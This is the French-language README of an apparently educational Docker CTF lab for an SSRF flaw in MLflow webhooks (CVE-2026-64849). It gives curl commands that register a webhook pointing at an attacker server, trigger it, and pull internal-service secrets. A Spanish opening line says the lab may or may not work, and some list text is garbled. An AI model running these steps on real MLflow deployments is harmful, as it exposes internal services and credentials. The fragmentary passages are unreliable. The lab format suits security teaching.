
este laboratorio puede estar bien o mal preguntale a la IA estoy probando pero debe funcionar hahahah
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Laboratoire pratique et reproductible du CVE-2026-64849 : une vulnérabilité
de type SSRF dans MLflow causée par un défaut TOCTOU (Time-of-Check /
Time-of-Use) dans la gestion des webhooks. MLflow valide l'URL d'origine du
webhook mais suit les redirections HTTP (302) sans re-valider la destination,
ce qui permet à un attaquant sans authentification d'atteindre des services
internes auxquels il ne devrait pas avoir accès (internal-service:8888).
Usage restreint : matériel de laboratoire, uniquement pour des réseaux et environnements autorisés. Voir Avis légal.
| Attribut | Valeur |
|---|---|
| Vulnérabilité | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Composant affecté | MLflow Tracking Server (< 3.15.0) |
| Version du lab | MLflow 3.13.0 (non modifié, via pip install) |
| Cause racine | TOCTOU : valide l'URL, suit le 302 sans re-valider |
| Vecteur | HTTP ; sans authentification |
| Sévérité déclarée | CRITIQUE (CVSS 9.3) — selon le bandeau de l'exploit du lab |
| Résultat | Accès aux services internes, vol de credentials, port scanning |
| Durée estimée | 15–20 minutes |
| Niveau | Intermédiaire (Web App Security / Offensive Security) |
MLflow permet d'enregistrer des webhooks qui déclenchent des requêtes HTTP lors d'événements (données de modèles, expériences, etc.). Avant d'enregistrer l'URL, une validation est appliquée (schéma, IP privées, metadata IP). Le défaut survient parce que :
3xx, la
bibliothèque requests suit la redirection automatiquement et ne
re-valide jamais l'URL de destination.L'attaquant contrôle le premier saut (un serveur qui répond 302 vers un
service interne) et MLflow agit comme proxy vers le réseau interne.
Voir l'analyse technique complète dans EXPLOITATION_GUIDE.md §6.
À la fin du laboratoire, l'étudiant sera capable de :
/test et exfiltration du service interne.Public : étudiants et professionnels de la sécurité offensive, pentesters, relecteurs de sécurité d'applications, et développeurs utilisant MLflow.
Exigences logicielles :
| Outil | Version minimale |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Aucun identifiant ni authentification n'est requis sur MLflow (l'attaque est sans authentification). Aucun accès au réseau interne n'est nécessaire : le lab le fournit.
host réseau interne Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ attaquant (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, répond 302) │
│ http://localhost:5000 │ │ │ URL du webhook ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, suit la redirection) │
│ │ │ internal-service (8888) ← SANS ports vers │
│ │ │ "/admin/secret" l'hôte │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Composant | Port | Rôle dans le lab | Modifié ? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Victime / client vulnérable (MLflow 3.13.0 stock) | Non |
attacker-server | 8080 | Serveur de l'attaquant : /webhook → 302, /redirect?url=, /metadata, dashboard | Uniquement do_HEAD |
internal-service | 8888 | Victime dans lab_network ; /admin/secret et /api/internal/config | Non |
Détail d'intégrité : le service vulnérable et le service interne n'ont pas été modifiés. Voir EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # démarre les 3 conteneurs et attend MLflow
bash run_lab.sh exploit # exploite automatiquement (SSRF → drapeau du Niveau 1)
Démo guidée pas à pas (menu interactif) :
bash manual_exploitation_interactive.sh
🏁 Mode CTF (résolution MANUELLE) : le lab est un défi par niveaux. Chaque
drapeau te laisse l'indice du niveau suivant, ainsi atteindre chaque flag « a du
sens ». Et le but est de le faire à la main : ctf_lab.sh n'exploite pas à
ta place, il te guide et valide ton flag uniquement :
bash ctf_lab.sh # menu interactif du CTF
bash ctf_lab.sh nivel 1 # instructions + indice du niveau (commandes à EXÉCUTER TOI-MÊME MANUELLEMENT)
bash ctf_lab.sh flag '<flag>' # valider le flag que tu as exfiltré et décodé (+pts)
bash ctf_lab.sh status # niveaux terminés + score (235 pts, sans afficher les flags)
bash ctf_lab.sh hint 2 # indice d'un niveau
bash ctf_lab.sh reset # effacer la progression
Références du script run_lab.sh :
bash run_lab.sh start # start (défaut) + endpoint de statut
bash run_lab.sh exploit # exécute exploit.py dans le conteneur mlflow
bash run_lab.sh manual # affiche les commandes curl pas à pas
bash run_lab.sh logs # suit les logs en temps réel
bash run_lab.sh stop # arrête les conteneurs
bash run_lab.sh clean # arrête et supprime les données du lab
Tous les appels à
/testnécessitent l'en-têteContent-Type: application/json; sans lui, MLflow 3.13 répond400 Bad Request.
# 1. Créer le webhook pointant vers le serveur de l'attaquant (redirige vers la racine du portail interne, Niveau 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Déclencher /test → MLflow valide l'URL, suit le 302 jusqu'au service interne
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Extraire les données exfiltrées (imbriquées dans result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Résultat attendu de l'étape 3 (Niveau 1 du CTF) :